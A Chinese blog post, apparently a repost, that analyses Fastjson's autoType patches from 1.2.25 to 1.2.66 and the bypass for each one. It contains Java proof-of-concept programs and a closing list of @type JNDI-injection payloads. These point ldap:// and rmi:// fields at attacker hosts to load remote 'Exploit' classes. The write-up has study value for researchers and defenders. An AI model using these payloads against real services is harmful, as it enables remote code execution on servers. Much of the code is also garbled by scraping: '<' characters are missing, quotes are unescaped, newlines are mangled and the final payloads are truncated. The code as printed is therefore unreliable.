Fastjson各版本修补代码分析及绕过

131,597次阅读
没有评论

共计 9478 个字符,预计需要花费 24 分钟才能阅读完成。

前言

我们在上一个环境中测试了 fastjson1.2.24,我们现在来看一下之后 fastjson 的修补和绕过情况

环境

在测试中,我们修改 maven 中 fastjson 的版本为对应的版本重新加载即可
Fastjson 各版本修补代码分析及绕过

分析

fastjson1.2.25 修复分析及绕过分析

我们先在 1.2.25 的 fastjson 环境重新运行 1.2.4 的 payload
Fastjson 各版本修补代码分析及绕过
发现报错误,提示不支持,autoType is not support. com.sun.rowset.JdbcRowSetImpl

这个就是在 1.2.4 漏洞发布之后,fastjson 的修补,我们看一下具体的修补方法

我们先定位到报错的代码位置,我们可以看到在 ParserConfig.java 中有一个方法 checkAutiType 方法进行某种检测,检测失败就抛出 json 错误
Fastjson 各版本修补代码分析及绕过
该方法在 DefaultJSONParser.java 中被调用
Fastjson 各版本修补代码分析及绕过
我们看一下 1.2.24 中该位置的源码
Fastjson 各版本修补代码分析及绕过
进行对比,发现在 1.2.24 中是在确定之后,直接通过 loadClass 方法进行指定类的加载,而在 1.2.25 中该位置换成了 checkAutoType()方法对指定类进行判断,这也是对 1.2.24 漏洞的修复

我们仔细查看下 checkAutoType()方法

public Class?> checkAutoType(String typeName, Class?> expectClass) {
    if (typeName == null) {
        return null;
    }

    final String className = typeName.replace('$', '.');
    
    
    if (autoTypeSupport || expectClass != null) {
        for (int i = 0; i  acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }

        for (int i = 0; i  denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support." + typeName);
            }
        }
    }

    Class?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }

    if (clazz != null) {
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match." + typeName + "->" + expectClass.getName());
        }

        return clazz;
    }

    if (!autoTypeSupport) {
        for (int i = 0; i  denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support." + typeName);
            }
        }
        for (int i = 0; i  acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match." + typeName + "->" + expectClass.getName());
                }
                return clazz;
            }
        }
    }

    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }

    if (clazz != null) {

        if (ClassLoader.class.isAssignableFrom(clazz) 
                || DataSource.class.isAssignableFrom(clazz) 
                ) {
            throw new JSONException("autoType is not support." + typeName);
        }

        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match." + typeName + "->" + expectClass.getName());
            }
        }
    }

    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support." + typeName);
    }

    return clazz;
}
  1. autoTypeSupport 默认为 false,第一个判断中,如果 autoTypeSupport 开启或者白名单不为空,则先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
    在这里插入图片描述
  2. 从 Map 缓存中查找获取类
     在这里插入图片描述
  3. 当 autoTypeSupport 未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
    Fastjson 各版本修补代码分析及绕过
    总的来说,这个检查方法就是使用黑白名单的方法来对进入的类进行判断和过滤
    黑名单:
    在这里插入图片描述
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

我们看完检查的方法之后发现 autoTypeSupport 是重中之重,了解一下 autoTypeSupport。
autoTypeSupport 是 checkAutoType()函数出现后 ParserConfig.java 中新增的一个配置选项,在 checkAutoType()函数的某些代码逻辑起到开关的作用。
默认情况下 autoTypeSupport 为 False,将其设置为 True 有两种方法:

  • JVM 启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局 ParserConfig 则用另外调用 setAutoTypeSupport(true);
    AutoType 白名单设置方法:
    1.JVM 启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
    2. 代码中设置:ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);
    3. 通过 fastjson.properties 文件配置。在 1.2.25/1.2.26 版本支持通过类路径的 fastjson.properties 文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

我们在检查方法中可以看到一个判断为如果 autoType 开启,或者 expectClass 不为空,就加载对应类
Fastjson 各版本修补代码分析及绕过
我们看下具体的 loadClass 方法
Fastjson 各版本修补代码分析及绕过
如果类名的第一个字符是 [,表示这是一个数组类型。此时,递归调用 loadClass 方法来加载数组的组件类型(去掉第一个字符后的类名),然后使用 Array.newInstance 方法创建一个该组件类型的数组实例,并返回该数组实例的类对象。
如果类名以 L 开头并以 ; 结尾,表示这是一个带引号的类名(通常用于内部类或泛型类的表示)。此时,去掉开头的 L 和结尾的 ;,然后递归调用 loadClass 方法来加载这个新的类名。
如果我们想继续调用 com.sun.rowset.JdbcRowSetImpl,它会被黑名单检测到 com.sun. 被终止,但是我们利用上面的判断,调用 Lcom.sun.rowset.JdbcRowSetImpl; , 会绕过黑名单的检测。但是前提是 autoType 开启

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{
            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            String text1 = "{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

Fastjson 各版本修补代码分析及绕过

fastjson 1.2.42 修复分析及绕过分析

在 ParserConfig.java​中将黑名单的类变成了 hash 值,防止知道内容进行绕过
不过黑名单的 hash 是可以爆破的,目前大部分的内容都已经被爆破出来了
项目地址:
https://github.com/LeadroyaL/fastjson-blacklist
Fastjson 各版本修补代码分析及绕过
删除开头 L 和结尾的;
Fastjson 各版本修补代码分析及绕过
他只过滤了一次,我们可以双重进行绕过

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{
            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            String text1 = "{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

Fastjson 各版本修补代码分析及绕过
Fastjson 各版本修补代码分析及绕过
Fastjson 各版本修补代码分析及绕过
Fastjson 各版本修补代码分析及绕过

fastjson 1.2.43 修复分析及绕过分析

我们再运行一下 1.2.42 的 payload,已经不出所料的被 ban 了
Fastjson 各版本修补代码分析及绕过
Fastjson 各版本修补代码分析及绕过
对于 LL 等开头结尾的字符串直接不支持了
但是我们之前一直用的是开头 L 结尾; 的方法进行绕过,之前分析的时候可还是有一个数组判断的
Fastjson 各版本修补代码分析及绕过我们进行数组方式的绕过 [com.sun.rowset.JdbcRowSetImpl,运行但是报错了
Fastjson 各版本修补代码分析及绕过
根据报错,在, 号前加上[,又报了{错误
Fastjson 各版本修补代码分析及绕过

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{
            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            String text1 = "{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

“[com.sun.rowset.JdbcRowSetImpl”[{, 绕过成功
Fastjson 各版本修补代码分析及绕过

fastjson 1.2.44 修复分析(无漏洞)

Fastjson 各版本修补代码分析及绕过
增加了规则,出现[字符直接抛出异常判断失败,所以[绕过的方法都失效了

这个版本还是比较安全的,没有因为修复不完全而出现新的绕过方式

fastjson 1.2.45 绕过

绕过前提:
1. 目标服务端存在 mybatis 的 jar 包。
2. 版本需为 3.x.x ~ 3.5.0
3.autoTypeSupport 属性为 true 才能使用。(fastjson >= 1.2.25 默认为 false)

payload 为


{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

主要就是黑名单绕过,这个类在 1.2.46 的版本中被加入到了黑名单:
Fastjson 各版本修补代码分析及绕过

fastjson 1.2.47 分析及绕过

在 1.2.47 之前有一个通杀漏洞,分为两种情况

  1. 1.2.25-1.2.32:
    未开启 AutoTypeSupport 时能成功利用
  2. 1.2.33-1.2.47:
    无论是否开启 AutoTypeSupport 都能成功利用

先分析下绕过的方式,再根据情况具体分析一下
我们在 1.2.25 分析中看过 checkAutiType 方法,在第二个判断中,有一个是关于缓存的判断,如果在缓存中找到了,就加载该类
Fastjson 各版本修补代码分析及绕过
我们看一下 getClassFromMapping 方法,发现 mappings 里面都是键值对
Fastjson 各版本修补代码分析及绕过
在这里就有思路就是通过两次解析来执行命令,第一次我们将 com.sun.rowset.JdbcRowSetImpl 加入到 mappings 里面,第二次我们再次解析时,就能在缓存里找到它,绕过黑白名单的检查来执行

paylaod 为:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{

            String text1 = "{n" +
                    ""a": {n" +
                    ""@type": "java.lang.Class", n" +
                    ""val": "com.sun.rowset.JdbcRowSetImpl"n" +
                    "}, n" +
                    ""b": {n" +
                    ""@type": "com.sun.rowset.JdbcRowSetImpl", n" +
                    ""dataSourceName": "ldap://localhost:1389/Exploit", n" +
                    ""autoCommit": truen" +
                    "}n" +
                    "}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

fastjson 1.2.25 – 1.2.32

java.lang.Class 加载

在未开启 AutoTypeSupport 时就跳过了黑白名单的检测
Fastjson 各版本修补代码分析及绕过
我们第一次解析的是 java.lang.Class,在之后的 findClass 方法中会被匹配到,返回了 clazz
Fastjson 各版本修补代码分析及绕过
在最后会调用 MiscCodec.deserialze()
Fastjson 各版本修补代码分析及绕过
在方法中对我们输入的进行解析处理
Fastjson 各版本修补代码分析及绕过
Fastjson 各版本修补代码分析及绕过
Fastjson 各版本修补代码分析及绕过
Fastjson 各版本修补代码分析及绕过
随后将 com.sun.rowset.JdbcRowSetImpl 赋值给 strValFastjson 各版本修补代码分析及绕过
最后调用了 loadClass 方法执行,在方法中将 com.sun.rowset.JdbcRowSetImpl 添加到了 Mappings 中
Fastjson 各版本修补代码分析及绕过

com.sun.rowset.jdbcRow 加载

随后第二次加载,因为 AutoTypeSupport 是关闭的所以第一个黑白名单检测会跳过,不会因为 com.sun.rowset.JdbcRowSetImpl 被检测到直接结束,这也是为什么这部分版本 fastjson 的设置 AutoTypeSupport 为关闭才能利用成功,如果是开启的,就算成功将它加入到缓存中也是利用不了的
Fastjson 各版本修补代码分析及绕过
这样在 getClassFromMapping 方法中就会找到 com.sun.rowset.JdbcRowSetImpl,返回 clazz
Fastjson 各版本修补代码分析及绕过
一路执行
Fastjson 各版本修补代码分析及绕过

Fastjson 1.2.33-1.2.47

在上面的 1.2.25 – 1.2.32 版本是 AutoTypeSupport 开启反而会利用失败,而在 1.2.33-1.2.47 版本中不管是否开启都能成功,我们来看一下
Fastjson 各版本修补代码分析及绕过
在 1.2.47 版本中的 checkAutoType 版本中,对于黑名单的判断中,相比于上面多了一个 TypeUtils.getClassFromMapping(typeName) == null 判断,而且是 and 方式,这样的话,我们的 payload 在第一次中就会将 com.sun.rowset.jdbcRow 加入到缓存中,判断是不通过的,而在上面的版本当中,是没有这个判断的,所以进入黑名单判断时,会被检测并报出错误。

fastjson 1.2.48 修复分析(无漏洞)

在 1.2.47 版本中,fastjson 的 cache 默认为 true
Fastjson 各版本修补代码分析及绕过
在 1.2.48 修复中,已经修改为 false
Fastjson 各版本修补代码分析及绕过
这个修复就导致不能再通过缓存加载恶意类以此绕过黑名单了
Fastjson 各版本修补代码分析及绕过
另外在黑名单多了两条,检测方法调整了逻辑

fastjson 1.2.5

需要开启 AutoType 设置{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5

需要开启 autoType:

{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5

{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi

fastjson=1.2.62

需要开启 AutoType

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

fastjson = 1.2.66


{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

参考

https://y4er.com/posts/fastjson-learn/#1262
https://forum.butian.net/share/2858
https://drun1baby.top/2022/08/08/Java 反序列化 Fastjson 篇 03-Fastjson 各版本绕过分析 /#0x08-1-2-25-1-2-47 补丁绕过
https://xz.aliyun.com/t/14872?time__1311=GqA2Y50K4IxBqDwqeqBKGQHi=qZ6NCrioD#toc-12

原文地址: Fastjson 各版本修补代码分析及绕过

    正文完
     0
    Yojack
    版权声明:本篇文章由 Yojack 于2024-10-14发表,共计9478字。
    转载说明:
    1 本网站名称:优杰开发笔记
    2 本站永久网址:https://yojack.cn
    3 本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
    4 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
    5 本站所有内容均可转载及分享, 但请注明出处
    6 我们始终尊重原创作者的版权,所有文章在发布时,均尽可能注明出处与作者。
    7 站长邮箱:laylwenl@gmail.com
    评论(没有评论)